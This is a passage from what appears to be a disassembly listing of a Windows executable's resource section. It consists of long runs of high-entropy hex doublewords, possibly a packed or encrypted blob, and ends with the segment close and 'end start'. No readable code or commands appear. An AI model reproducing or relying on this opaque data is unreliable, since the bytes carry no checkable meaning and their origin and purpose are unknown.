		dd 0B95E39F8h, 5AA90504h, 0FF1F83D4h, 0A446A6A3h, 91FDB072h
		dd 3BE52A16h, 38B30E67h, 0E91422DDh, 0BF4F9B87h, 0A61F7A71h
		dd 5F0CDCB5h, 47541828h, 0F88AE6E6h, 0E058B61Fh, 4C7E83EEh
		dd 82FC3859h, 7BE948B4h, 0D96204EFh, 0C564003Dh, 0B7308CBDh
		dd 86FDD6D8h, 54C8C22Ah, 77D2F8F8h, 0F2268A83h,	0ED240069h
		dd 25856455h, 5EE7248Ah, 912BCB31h, 0FB44FCA9h,	22D0922Eh
		dd 99126CAAh, 4B4880BEh, 3AB00C3Bh, 47C835Dh, 0AEC923A8h
		dd 5D1B475Bh, 0F5654736h, 3E893E2Dh, 26BE5E63h,	23AAB181h
		dd 2C2B8080h, 79F34D75h, 6B539B96h, 666FECDBh, 63DB35BBh
		dd 352DB9A2h, 0B2D7DEE5h, 5034D826h, 41EFAF4h, 6567C3C1h
		dd 8D1A1317h, 8D759E61h, 7159B5BFh, 9423FECEh, 0F840E740h
		dd 0C73F6463h, 97F2ED64h, 0E956393Ah, 329C248Dh, 7085CF35h
		dd 4ACD2BA4h, 1E17435Fh, 5DCDD8FEh, 3B4AEE11h, 0D104D0DFh
		dd 3151ADAFh, 0A8207D9Bh, 5A10F6C1h, 8B351A2Ah,	0CA7AE882h
		dd 615EC648h, 0F1438667h, 15AFAD56h, 0C0DF4923h, 2C806644h
		dd 0EB7F06C0h, 0BEBF8E8Fh, 76FEA313h, 0DA7B4AD2h, 269EB7FFh
		dd 5E0AC8CAh, 6F3FD014h, 0F5A6825Ah, 0EA22D79Ch, 47A86ED1h
		dd 0FE76B287h, 0CD2F6D29h, 9C7EB4FAh, 6AE33F28h, 69F26406h
		dd 578EB68Eh, 0FAC73F54h, 2645794Ah, 2784088Dh,	0CABB1777h
		dd 9B898F31h, 0B553D978h, 0FC24E883h, 289D5138h, 20C42040h
		dd 0E6F8BFEEh, 65F543EDh, 0E82FBBA0h, 8A01DF02h, 53CC14ADh
		dd 222E7AF7h, 4869F5D6h, 0C0389C80h, 2AF48CEFh,	4DD6DFB2h
		dd 0AE280131h, 0FA43DBC9h, 5CCF7E61h, 9821743Fh, 2775C36Eh
		dd 0DCAF3B26h, 37DD9CEh, 0B924C8EBh, 0D34A0603h, 380332Ch
		dd 6BDD7376h, 69F38E80h, 2404B0F1h, 9A08A6EAh, 0A577C74Eh
		dd 16C12D37h, 7FAF81BEh, 71C84646h, 362CB8A4h, 0BE8E0897h
		dd 19C84CB3h, 744C7FA5h, 0FC8E90C3h, 0EF359191h, 0E9612405h
		dd 2B83485Ah, 44C88B94h, 0F70AACA9h, 1BAB65CDh,	1E0D5941h
		dd 358A6EFDh, 0CEFC5157h, 3055AC40h, 0DF8320A4h, 53838D24h
		dd 6E57169h, 0C5B67A10h, 39AEDB4Bh, 0D97815ADh,	8C887B7Ch
		dd 51E2C3AAh, 0D6424E4Dh, 12BBCBB6h, 44DA4385h,	0B018A868h
		dd 81A00754h, 7CEA77B7h, 6F5475F0h, 14E1F8E3h, 46DFFF8Ah
		dd 0E2087829h, 0A9E5412Ch, 15B1B46Fh, 80AB42C9h, 36D20544h
		dd 0A1096563h, 503BA5FFh, 24A863Dh, 0D500D1E2h,	0DCA46120h
		dd 0CF436F70h, 39B3686Fh, 0A24E5E5Dh, 64FF026h,	0A114692Fh
		dd 80688776h, 9F6EC840h, 0A8BA263Ah, 0F0771988h, 13C34DE0h
		dd 4625B1A9h, 5330D1C9h, 1EC31F1Eh, 335C7812h, 72A0BB8Ch
		dd 0B61EA146h, 7B07B7B3h, 52CC28D7h, 12C0F6F6h,	0A139950Ch
		dd 0BF36FBC5h, 4A8D6267h, 50BF6163h, 0E9F6C48Bh, 0AD04AB98h
		dd 37A1759Dh, 29D9393h,	65EF2E77h, 63FF5B5Bh, 29AD4D28h
		dd 15C9A696h, 5F92B655h, 6EB01C1Ch, 3CB73346h, 0B85F142h
		dd 0DA53AFAEh, 0A9227E7Eh, 77F14D4Dh, 0BA934A4Ah, 24A5337Ch
		dd 4F0513B8h, 495E4703h, 0DC39B8B4h, 2BBA4466h,	78FA92BCh
		dd 86078EA5h, 0C840F3F5h, 0E9660C03h, 2ABB785Ah, 4BA08988h
		dd 951CBEB8h, 0A93DEDFBh, 0F87E1C1Ah, 21DB595Dh, 44CB6374h
		dd 931192B1h, 8D47E2C6h, 0E9771700h, 78C0724h, 49D55D6Ah
		dd 6FECB7ADh, 0A513ACEDh, 0C36B1A1Eh, 1781381Ah, 3CE6A7Dh
		dd 74F9A4E6h, 0B23CC1D4h, 0DB47E9E1h, 0F9F0736h, 4BA24344h
		dd 7BF182ACh, 8136DBCAh, 0DC50E8FFh, 0E2721F5Ch, 1AA5F4Ah
		dd 4CF19696h, 0C01BABADh, 0A354C5A5h, 0FE611616h, 279D3441h
		dd 45F3776Ah, 9814B4A3h, 0BF21E7A0h, 0FF7F0629h, 1A964A7Fh
		dd 42C46F65h, 53EA8BFh,	9239CCEEh, 0F0791411h, 718E3D2Eh
		dd 79CE7352h, 5AED888Ah, 0DD33DFDBh, 0E151E4C6h, 1681343Fh
		dd 24AA597Bh, 7AF0A389h, 0A15FFADEh, 0DA63FEEFh, 0E6912C3Dh
		dd 35A2496Fh, 20DB9399h, 0BC1CA183h, 0DB43E0EAh, 0FF6F260Fh
		dd 34A15254h, 2AE2868Dh, 0AD05A889h, 8E30F1F8h,	0D96A0705h
		dd 24BB575Ah, 47C84E09h, 7216B283h, 0B93DC4F6h,	0C55F7434h
		dd 1C821530h, 52D97B61h, 7FE1A7E0h, 0A920CBF9h,	0EC4F1217h
		dd 30F00D35h, 2AE96F7Eh, 71E09C85h, 8C3DD9F1h, 0C64BEBF5h
		dd 0C1973A3Fh, 3AAD6324h, 79F89BA5h, 0A817B7AEh, 0D856FDF9h
		dd 0F370312Bh, 37BD6A2Eh, 66F39A9Eh, 9502A5A7h,	0A453D49Ah
		dd 0F6622B0Dh, 1BA8574Ah, 51E40547h, 9A1E85A4h,	8820EDD4h
		dd 9D701D1Bh, 581300Eh,	5CDF6649h, 78F1BC90h, 9628C5C5h
		dd 0C36E357Bh, 1B9F1924h, 31CF7D7Bh, 7EF8B6E6h,	932BD1D6h
		dd 0C661B1B7h, 7D822121h, 28AA5371h, 29E09C8Ah,	9104F38Ch
		dd 0DD628CF9h, 0EFB93F3Dh, 7CE4F46h, 4ADA8C9Dh,	862BA3ABh
		dd 0A350E7E2h, 0E36D1010h, 3B843375h, 40CF4476h, 921B80B5h
		dd 0B826EBF1h, 0ED773D6Eh, 28D547Bh, 50DD655Fh,	611289D9h
		dd 864CD8CDh, 0D27A1A19h, 78F2F10h, 57FF735Bh, 5B87868Eh
		dd 0A921C3D8h, 0C765ECE1h, 79902023h, 33AB6C4Ah, 7AF9AA8Eh
		dd 9110BADFh, 0C147EDC8h, 0F0AC2C2Bh, 3CA2514Fh, 6CFC9291h
		dd 8B0CAC97h, 0C97892FCh, 0ED601322h, 33925544h, 67A29B92h
		dd 9D028FB9h, 975AEFFDh, 0F36D0519h, 2ADD4A49h,	57DE4B7Ch
		dd 511FA2B7h, 0B52BCBD7h, 0E7520007h, 2E920C43h, 4FD47463h
		dd 69E68CBAh, 0B73EC4DAh, 0E554327Dh, 1FB93B2Dh, 22F16D7Fh
		dd 67EF8DBBh, 0E234D9DEh, 0C166F1C8h, 16BE3A30h, 3C7464Fh
		dd 79E5BE85h, 8411EFAEh, 0C941EBECh, 0EC6A320Ah, 239E2C43h
		dd 48FB8AB4h, 810FAD99h, 0C455F8F0h, 0E15A1226h, 2BC4158h
		dd 5DC15271h, 9217A7A7h, 0A228C4EFh, 0D2140903h, 0F966E34h
		dd 41E1777Ch, 6AE5A8AFh, 0B928C4E2h, 0D17C1408h, 73822720h
		dd 33EC6359h, 46EC918Ch, 0AA23C1DDh, 0CB6BEEE2h, 5873E3Fh
		dd 26B07220h, 7AFB80BBh
		dd 0BB05D8D2h, 0D946F9F8h, 0C4910E3Ch, 0A45A47h, 4CF28583h
		dd 0A23EC5A1h, 0A14CC7D4h, 0FF721716h, 32BA5133h, 44D66472h
		dd 8E16A4ACh, 0A72DFD9Eh, 0EC720803h, 12855B3Ch, 40DC6462h
		dd 6213A0BAh, 0A04BC2CAh, 0A16C1513h, 0B872036h, 5ED76713h
		dd 0CF2878Ah, 0BE20DEF9h, 0DE46110Dh, 0B9D220Dh, 28A05579h
		dd 15EA878Eh, 8129D7F0h, 0C749E6FAh, 0C28F3210h, 2AA4484Ah
		dd 7AFD8090h, 9907B691h, 0D27C91F4h, 0E5760514h, 299C5B4Ah
		dd 28E09398h, 921BA585h, 0B25BF4E9h, 0FB681925h, 22B04A6Ch
		dd 45C54E07h, 6517A7B0h, 0AE22F1D0h, 0F27F3417h, 28A44127h
		dd 73E45146h, 4DACECEDh, 8A50E0E1h, 0CB5C1C19h,	3E8B3924h
		dd 11BD607Ch, 62C48082h, 8412DBD3h, 0F150C1FCh,	19920154h
		dd 3EA35773h, 77F5A689h, 9227DBCAh, 0DC638DCFh,	0FC650F3Ah
		dd 23A34A7Ah, 64E5BC9Fh, 0F18244C9h, 0AB6B5EB3h, 7A096567h
		dd 63FC78BBh, 2BCD036Eh, 97268183h, 9C882BA4h, 0CF43BBFBh
		dd 3BB37E55h, 0AA24F25Eh, 857FEBF7h, 40B2A56Eh,	0A42C54DCh
		dd 0B1E383CBh, 0E93F9B41h, 3C88D4F1h, 0DE3CE24Ch, 38DA8FE8h
		dd 7BC47C18h, 0CDCCDF9Ah, 1891ED7Dh, 870BD3ECh,	62A58A8Bh
		dd 48765930h, 52A46842h, 4B9AE6F6h, 0F00296C7h,	0BF57C7FCh
		dd 0DF060863h, 0C92A6161h, 2A942C8Dh, 6C8D9791h, 0C871B650h
		dd 0CB6493E9h, 705FB6B0h, 3F4D0A39h, 127C4D5Ah,	49A696h
		dd 72E62622h, 4295C1CFh, 0B33A1322h, 0B85FAD8h,	25ACFB47h
		dd 38A7F581h, 0FAF17D61h, 45DB9994h, 0EBCD02E9h, 66D74747h
		dd 0B21BAB06h, 9B76D9DBh, 7C212524h, 96680C0Dh,	0DC494444h
		dd 0CFF41590h, 138CD254h, 0B0D22E35h, 0D85F03E1h, 35310D40h
		dd 0C53D71CFh, 15516869h, 52C1B1D5h, 0BD633506h, 0CF583451h
		dd 9F13F2A3h, 0CC472223h, 47E4D4BEh, 3D33103Fh,	0C51721F9h
		dd 8A509C87h, 0F31F7FB9h, 74EE4AA2h, 0AF3C4418h, 11BBFD53h
		dd 75D44ADFh, 0AF189E04h, 5D3A0103h, 4BEC2205h,	7C98346Ch
		dd 0F3A43B79h, 98FC8DBDh, 9DC8D99Bh, 55EB2B1Bh,	0E7C0F9D3h
		dd 0F201C6A2h, 0B1C5A568h, 141C9A62h, 372840F5h, 2DA70308h
		dd 0FF2E015Ah, 7EC99CF0h, 9A23758Bh, 69EE84B5h,	0BC3A0D0Ch
		dd 57FDAD2h, 1F6651AAh,	50D7F318h, 749F26E1h, 0D44FF452h
		dd 14F6721h, 8E8239E5h,	0F8754D0Ah, 28A5103Ah, 0DD3CE074h
		dd 17A1C171h, 6D537F38h, 8502831Fh, 2A7259h, 560B2FCDh
		dd 2072F69Fh, 2C6B934Dh, 92C006FAh, 9036252h, 9BE63939h
		dd 0A3B94FBDh, 0C95D3A5Bh, 45A26B9Dh, 69A50A2Eh, 0A63F4FF2h
		dd 33ADE15Ch, 8326D7D7h, 0E152D34Bh, 5B85FF75h,	0EDE77368h
		dd 3CBE366Eh, 0B3D64EFh, 36D3AEAFh, 0A9217F76h,	76F42419h
		dd 0D0401B1Bh, 14BDC5C0h, 67D64B33h, 0B22B82A3h, 80930556h
		dd 4EC820CCh, 49C4A4F2h, 799B97C1h, 0BB03A3B5h,	1D8F976Ch
		dd 58D12C2Ah, 25F5AAADh, 9E6CA39Ah, 853C989Ah, 659E983Bh
		dd 0F4DA0613h, 6BDDF383h, 0FB1F8784h, 9946A2A2h, 0BD31C58Dh
		dd 94E44043h, 99FD69Ah,	0C80484DDh, 0C3ACBDD8h,	0CCCAF12Bh
		dd 23BC1B4Ah, 3729E74Eh, 488AD6CAh, 302D7430h, 62B27CD2h
		dd 0F0F66278h, 1C976576h, 97CBAB85h, 0E960B929h, 7803278Dh
		dd 75A64B36h, 49E7A81h,	73CCA8A8h, 0BFF3995h, 4039A5BDh
		dd 900A6CA1h, 7AA3CC34h, 0E533FD0Ah, 0A874E0FCh, 0E68A0A60h
		dd 5B4F6E5Eh, 59613D39h, 73B17901h, 11025752h, 0CAAFA898h
		dd 0B21BE2FAh, 0A1E94676h, 0BA6BEA42h, 0F20FEC22h, 0D355B1B1h
		dd 0AB247004h, 43CDCF4Fh, 0C7840E68h, 929FECD5h, 0E55EBA5Bh
		dd 0C10DB709h, 0BC7D1EA9h, 17856E76h, 0D012D781h, 0A1668505h
		dd 0D7675CB9h, 0DF533061h, 7615A5CFh, 12FBFECEh, 47F5C30Ch
		dd 2E3F9B9Ch, 960E6ADAh, 368D07BBh, 0B7A35E41h,	17AD673h
		dd 7C406226h, 1B187E48h, 6DE642DAh, 0C8C0312Dh,	5B9E373h
		dd 0D951212Bh, 882DD17Dh, 4BCF6B6Ch, 30DB7D3Bh,	2F20979Dh
		dd 6326C397h, 0D9097AF8h, 0E8D2021h, 3DC45DA2h,	69BADECBh
		dd 142479A8h, 3818Fh, 89017A4Eh, 0A882CEDAh, 16B2936Eh
		dd 0A5ACFBCAh, 2C6BC7C9h, 930A6661h, 0FAE5A73h,	4BC96B69h
		dd 2FE32DD3h, 4845918Eh, 0AF2204B1h, 9166B689h,	69B23E22h
		dd 783DCB4h, 801FFB2Fh,	7088862Ah, 0FEEC7865h, 71A06782h
		dd 0D9BAB5E5h, 8D07E2E0h, 3BD9D3D2h, 7CC57D53h,	0B5E024A7h
		dd 29B9237Bh, 68A344BDh, 873AE401h, 46075B5Bh, 57E975A2h
		dd 229BF71Fh, 1CE898C6h, 0C00889E8h, 0BF44DEEFh, 0E85D3203h
		dd 2B95314Ah, 77F834CCh, 0C972AED9h, 1D9AC89Eh,	66D00C7Fh
		dd 4909E81h, 867ED9E8h,	0D27B9790h, 297274FFh, 90E94556h
		dd 0D947D86h, 504F09E1h, 0B222D5F4h, 0FA7F1A1Ch, 11813726h
		dd 0BAD7C7Fh, 67E0868Fh, 366EB9C0h, 457E4703h, 6078058Eh
		dd 4C8A4C26h, 74CAA30Ah, 56D34FDAh, 535A18Ch, 8B046077h
		dd 0A79E2BA2h, 4E5E0202h, 0BA6B4667h, 0C63E9A9Bh, 0D280C20Ch
		dd 87EE933Dh, 0D30061ABh, 33EC582Eh, 9B479394h,	61447419h
		dd 5CC9D8D7h, 1EC09B10h, 11465DD6h, 5D5F6C28h, 0A71F7AD9h
		dd 55864A21h, 15BD1918h, 8774EC8Dh, 0E1699917h,	3B24DA0Eh
		dd 0E37E431Ah, 4CF61215h, 2BAF7D79h, 9E3BE8Fh, 0B6CE7D8Eh
		dd 886A0F0Ch, 0E3302D46h, 25ADC9C9h, 0D82E5236h, 3C6A96A8h
		dd 0A23956D2h, 0AD4DCB36h, 76A7332Fh, 0F2E61157h, 0CC45F425h
		dd 0A0920970h, 65966472h, 5A24F25Eh, 0EF7FEBF7h, 0D54DA8EBh
		dd 0A4D4C6F4h, 0C5E44748h, 34370858h, 0BE0FBD5h, 8956B2B2h
		dd 8104147Dh, 2CA25061h, 622A8AE0h, 5B1AEDDDh, 6C9CB880h
		dd 652DF2DBh, 0FDD2BD1h, 66413062h, 2237A7C5h, 0F1104506h
		dd 0CD52C0F1h, 7CE46717h, 7578DA6Bh, 582F240Ch,	0A7197EAh
		dd 0C75DCF16h, 945E68DBh, 0E7EBB0E8h, 7D25F90Ah, 3DC951DFh
		dd 5A4A9696h, 97AC4E43h, 1CE87474h, 0B023891h, 3085D1D0h
		dd 0EA63941Ah, 0D8A1717Eh, 440EB2B2h, 67595DBh,	9D8EDAD9h
		dd 0D36CFF35h, 0D87BD787h, 81900655h, 4EC9254Ch, 9868A472h
		dd 0EC55D4B9h, 90C5056Fh, 7FC5F6Fh, 58E23B56h, 285F047Fh
		dd 991F14Fh, 0F6B81065h, 0FE0C5859h, 34DB5D38h,	513FF956h
		dd 7478E4F8h, 0FE77E426h, 9FF6B372h, 6B8F1111h,	158985F0h
		dd 8D0BDEEDh, 0D7609CE7h, 0A675AFF0h, 24DCB518h, 728EACE7h
		dd 8474E7D6h, 0E06999ECh, 9F1B010Fh, 797E5363h,	8653DD05h
		dd 9194C0C4h, 5CE982EDh, 0B801BDC6h, 0B31A08D7h, 0C0E4D5A0h
		dd 24ADC9CEh, 0C32C4A43h, 0E99796A7h, 6BEBCEA4h, 42ACB1B8h
		dd 7CF60333h, 0AD248182h, 0E745355Fh, 65436F5Fh, 58C9F3ABh
		dd 4594CE0Ch, 6045F1E0h, 0B82FC8C7h, 0E3261C1Dh, 1D8E2F34h
		dd 11882579h, 22E48887h, 8E56839Fh, 0E971D2D8h,	0FB70C1Dh
		dd 26A66D6Ch, 79FEAE98h, 8A30C9CFh, 0E95AEFD9h,	0F58F3C0Ah
		dd 22A94B4Eh, 41F2A5A9h, 0AE0CA1B6h, 0CD52F0F0h, 0EC563E11h
		dd 3EB85043h, 59D19A8Bh, 8B188B92h, 0A421EBF8h,	0FB603B00h
		dd 39A75952h, 5DCC7D5Ah, 6609B6B3h, 0B726D7F6h,	0FC7D181Ch
		dd 6933605h, 46DF607Dh,	7BC58485h, 0B93BC2DFh, 0C648091Fh
		dd 3BAC3F23h, 45CB6872h, 40CBA6BAh, 0A609F6EFh,	0D143CBDBh
		dd 0EF8A3A24h, 19945042h, 72F29C9Bh, 0AF38B3B6h, 0DE41FDE5h
		dd 0EF542A31h, 37B85E5Ch, 5FDAA792h, 8402A5BBh,	913CEAFFh
		dd 0F16C1508h, 11B57E4Ch
		dd 30AB0572h, 0FF7783D4h, 0BC36A2A3h, 0F07C091Dh, 902E6Fh
		dd 49DF617Dh, 66E8F3BCh, 994FC4CAh, 86553932h, 8F2233h
		dd 30DF6E68h, 54D9B3ECh, 0AA2294E7h, 8F69CACBh,	0F9F2475h
		dd 41F65455h, 1A9307BAh, 683CBDBEh, 88106A60h, 0E97A9D5Ch
		dd 54CE1A3Fh, 0FB16D07h, 1AABC6F7h, 0AB68E189h,	71BDEF7Bh
		dd 7D7031Fh, 59883EAEh,	0C5F5B6FAh, 0E9368260h,	0B5E3D3E3h
		dd 116A3D0Dh, 53155B09h, 0AFB577Ch, 5C4C9883h, 923043F2h
		dd 3663BC46h, 0C0F799EEh, 0EF865219h, 23E03C7Eh, 0C324B0ACh
		dd 79F34E4Bh, 7E57E14Bh, 0FF90DCC7h, 0E55EBA33h, 0A1840C04h
		dd 0E8AC5868h, 0AFC54D26h, 2FB5BC61h, 0CA1B40C3h, 0CC43969Ah
		dd 8C056989h, 19926330h, 65EEBAD0h, 0E5E533CDh,	0CC3FABB0h
		dd 0FC1A1EABh, 0C356938h, 0CD53F7F1h, 31510F43h, 0A48821A5h
		dd 77C78C76h, 6DE64248h, 64F65742h, 4EAD8C90h, 2651E1E2h
		dd 980C61E8h, 8FAEA34Ch, 0F133E5E5h, 13BCC417h,	0E25BB2DFh
		dd 24D6D386h, 7FC87874h, 4DC72ECBh, 4ED1ADF1h, 0B926E989h
		dd 0EE77D2DCh, 76575D1Dh, 67FBC5B8h, 269912FBh,	0BD30C8CAh
		dd 976FC4D6h, 6F53068h,	61E91EDEh, 7EF9CD36h, 9427D1B9h
		dd 0CD45C9A3h, 63423071h, 5AC8CED5h, 0C74A8D0Eh, 8AD0FFA8h
		dd 0E662553Eh, 3E90F47Ah, 19EC786Eh, 5BD34517h,	4189E5E5h
		dd 0AAC24CE4h, 5126B2AFh, 4CDE9CC7h, 4ACFC820h,	4AC7EEEEh
		dd 0DA53EEF8h, 0FB63CFA2h, 0C46BA55Bh, 0BBCD1905h, 229BF7FDh
		dd 8319B6B1h, 0A64CFAFCh, 70576325h, 6DFDEBA6h,	0CE208801h
		dd 0F573FFE4h, 9BCF13AFh, 11115D74h, 56CCCBB9h,	0A1505A0Ah
		dd 34DF599h, 0D24FCF34h, 14977676h, 6FD95C1Ah, 0E005994Ah
		dd 0E486D2CDh, 24AB424Ch, 0EA6B819h, 78F27E6Eh,	0E0649E4Ch
		dd 158FDBCAh, 0C4392C34h, 0E77C88B8h, 8191563Dh, 4FC84E77h
		dd 8B6774F3h, 0ED56EE23h, 0C96F5114h, 1C89ED42h, 0BD31F0Fh
		dd 9D2CFB97h, 0F75FEB68h, 966ECCCFh, 0F23B3Bh, 63EC14DCh
		dd 0EC3EF85Fh, 0C679E5F9h, 0FF695D21h, 0F0FE7273h, 931ABEB0h
		dd 0AA66D9Dh, 450719DEh, 8E509CB8h, 4F2C2428h, 8A11B812h
		dd 56F19CDEh, 46DDE7D7h, 0ABB181E9h, 77D77B77h,	4EE21FD1h
		dd 13BE7422h, 0E9AF18C4h, 6FA54140h, 0B90198C2h, 0DC76390Bh
		dd 0D342E21Fh, 25ADC9B5h, 0A53A9698h, 926BC7C8h, 0BE3CF098h
		dd 0F5273406h, 2E972F29h, 886A3913h, 0CC4848D5h, 0D3406F70h
		dd 39A36973h, 7BF52344h, 9380DB97h, 0D57D85EBh,	0A41C7491h
		dd 21A31448h, 21EC6273h, 4EED9188h, 4BA9E2B3h, 0AD15AA5Bh
		dd 8441DDC2h, 21C32F33h, 1891ED25h, 185FD1EAh, 8602931Eh
		dd 5668D45Ah, 0DFCC1837h, 11B7314Bh, 0A73A92C5h, 94D2066Bh
		dd 4A856253h, 0B340BC3Eh, 7AA4301Fh, 0AF73A499h, 0C843F5CFh
		dd 44EFEC6Ch, 9A2526D3h, 11389F6h, 27CE8C2h, 5922ADD2h
		dd 5F197566h, 5EC42DD1h, 3CBBFB12h, 58D2E1E0h, 0E918ECE0h
		dd 0E566504Ch, 0E20E4D01h, 45F0305Ah, 1489827Ah, 56D1B8B8h
		dd 0B21B9F31h, 2D47DB0Fh, 0A6C91508h, 0E268027Eh, 0EC65CD29h
		dd 0F57DC790h, 0DE461116h, 149E6A00h, 663503FCh, 736EFAE7h
		dd 0F0B9965Ah, 70C686Bh, 62DB3250h, 0C41F8B06h,	0A678E4CCh
		dd 0E28E1E2Eh, 0C8FE7242h, 0E81ABEB0h, 998DDB2h, 8C8DDEDDh
		dd 0D750AEBCh, 0A78F97FAh, 1CBA4A4Ah, 42BD1819h, 3D267219h
		dd 24D8B585h, 0AF288514h, 1723D803h, 0DE397021h, 1AA4DC22h
		dd 9C3B7E3Bh, 0ABB9E580h, 12FF5C5Ch, 55FF0742h,	991E1B12h
		dd 0F35BE76Eh, 4F13E397h, 0A129CFE3h, 0CA276435h, 2D972FBAh
		dd 787A1154h, 0CB44A129h, 111F2FE4h, 0E7D2C13Eh, 691AB89h
		dd 0FBFA1DDAh, 0D54D9987h, 0A2767812h, 0E414452Dh, 3F8A3AD0h
		dd 1771C60h, 0DD57D236h, 39A81281h, 7AC470F2h, 1B910F74h
		dd 3B247813h, 26DABB8Bh, 0B46E0F85h, 3E705959h,	51FC08E3h
		dd 5172FE44h, 87973B32h, 0BE379307h, 4E0493Ch, 0A4811505h
		dd 1A8FCE6Ah, 2BCC40CEh, 7940ACBDh, 615D836Dh, 0F053C5C4h
		dd 339D29B6h, 1613D7BDh, 8349A5A6h, 618D8B26h, 0E3E77368h
		dd 0B1A23656h, 3BB4AF75h, 6C5DFEAFh, 8D65F674h,	7F108D59h
		dd 57BE5119h, 5E9FEBA3h, 0C71FBCBBh, 0BDCB068Fh, 0D1F1B597h
		dd 5EEC602Fh, 90C6C00Dh, 0DC483F7Ch, 0BB2F6790h, 0A4275E5Fh
		dd 76F15518h, 1DBFD5DCh, 0D848ECEEh, 0BD19E0A2h, 9E784249h
		dd 2C937972h, 0CFFE0526h, 0CF5C3641h, 628223A3h, 0F7157172h
		dd 38B31041h, 15729AF0h, 850ADDEDh, 0D77FBE9Eh,	0BDFD7A11h
		dd 25E08021h, 42BC1DF0h, 75AFC0E6h, 1F0FB4BFh, 9F0C6611h
		dd 7132D153h, 23CECA71h, 1A93EFE7h, 0C9B90033h,	0EB678CBDh
		dd 0AA3ECEA3h, 944B2A1Ah, 9611AC86h, 0F25AEA38h, 0D40B3015h
		dd 1D086455h, 6EF9CDB9h, 46682902h, 0A82281D0h,	0E6FE0A60h
		dd 61916E5Eh, 0F6CE433Dh, 803DF280h, 44EF626h, 7DBEA518h
		dd 4A7B6702h, 8F15B01Ch, 0DDAE6775h, 0CF06EEBh,	13DE5B5Ah
		dd 16A94EABh, 79C363B0h, 0B045BAEEh, 0E9C35500h, 0D5720B2Fh
		dd 0DB900989h, 83FC684Dh, 60A30D52h, 0E099F581h, 0DE4BAA56h
		dd 438B1292h, 8C05514Fh, 0DF132144h, 2992DE58h,	0F870CCCDh
		dd 0E9C11E5Ah, 7F0E6A5Bh, 9B22C732h, 32A8CA55h,	2F85635Bh
		dd 2F1EA495h, 0AF3B7EE1h, 921EC143h, 3B0E951Eh,	8F0ADFDFh
		dd 0D9619DADh, 57767C17h, 46C316D9h, 4B7E9F1Ah,	138C4C6Ch
		dd 0B29A9DB7h, 0E12AEFD6h, 7F90553Fh, 1B072323h, 3764640Eh
		dd 13E0BFF0h, 88B68170h, 15D5Ah, 67E02BA8h, 2D1377FBh
		dd 786CF8FAh, 0F40B840Ch, 0F9583768h, 0F4266537h, 2F982810h
		dd 0F1892A50h, 0CD41A126h, 63141A71h, 5AD338F5h, 2927F10Eh
		dd 8480ECF0h, 52415553h, 0A51D7A93h, 43F7CDC0h,	88881727h
		dd 40D826E6h, 8E53D9E5h, 9E21377Ch, 0E90A5162h,	4AF40BD5h
		dd 9D9D2E6Bh, 0E860BF78h, 32A642BFh, 85CE6A44h,	3B9C7878h
		dd 2294F7E8h, 0B4FC3A96h, 4538A4B9h, 0F1836CA4h, 0D4D63230h
		dd 1B952284h, 0B1F80CCFh, 0A91126A6h, 4A226D6Dh, 9717FD3Fh
		dd 0B126EAFDh, 34DE9F7h, 6A77EC2Ch, 0A11A6DBAh,	0AEEA9776h
		dd 0DC4FE5E4h, 3CA16768h, 0D497B080h, 532534C8h, 2B7F78ADh
		dd 5761204h, 5C5FE8FEh,	0E77578D2h, 0EC160958h,	78953E20h
		dd 0CC833851h, 6C99F889h, 0D12D491Dh, 0BF21D31Ah, 0CF897022h
		dd 8024D067h, 0AD9A3CDEh, 0F75FFBD7h, 82B5C358h, 1D84654Eh
		dd 63DC3881h, 68C734h, 3057E2E7h, 0FE69938Ah, 0D5623C53h
		dd 1C892F30h, 54DD3E71h, 38FB1B8h, 0BE39908Eh, 0C2721A0Eh
		dd 169C396Bh, 37D53B24h, 3DB19793h, 0AA2DFB99h,	0C044EAF7h
		dd 109E7D35h, 3EE94D44h, 72ABDF93h, 0CA408F82h,	0CD55E4F9h
		dd 0A8316135h, 31A64E44h, 14A08D92h, 8D1FB4E9h,	0E107F3F4h
		dd 0F67B0A05h, 50E24653h
		dd 1600h dup(?)
_rsrc		ends


		end start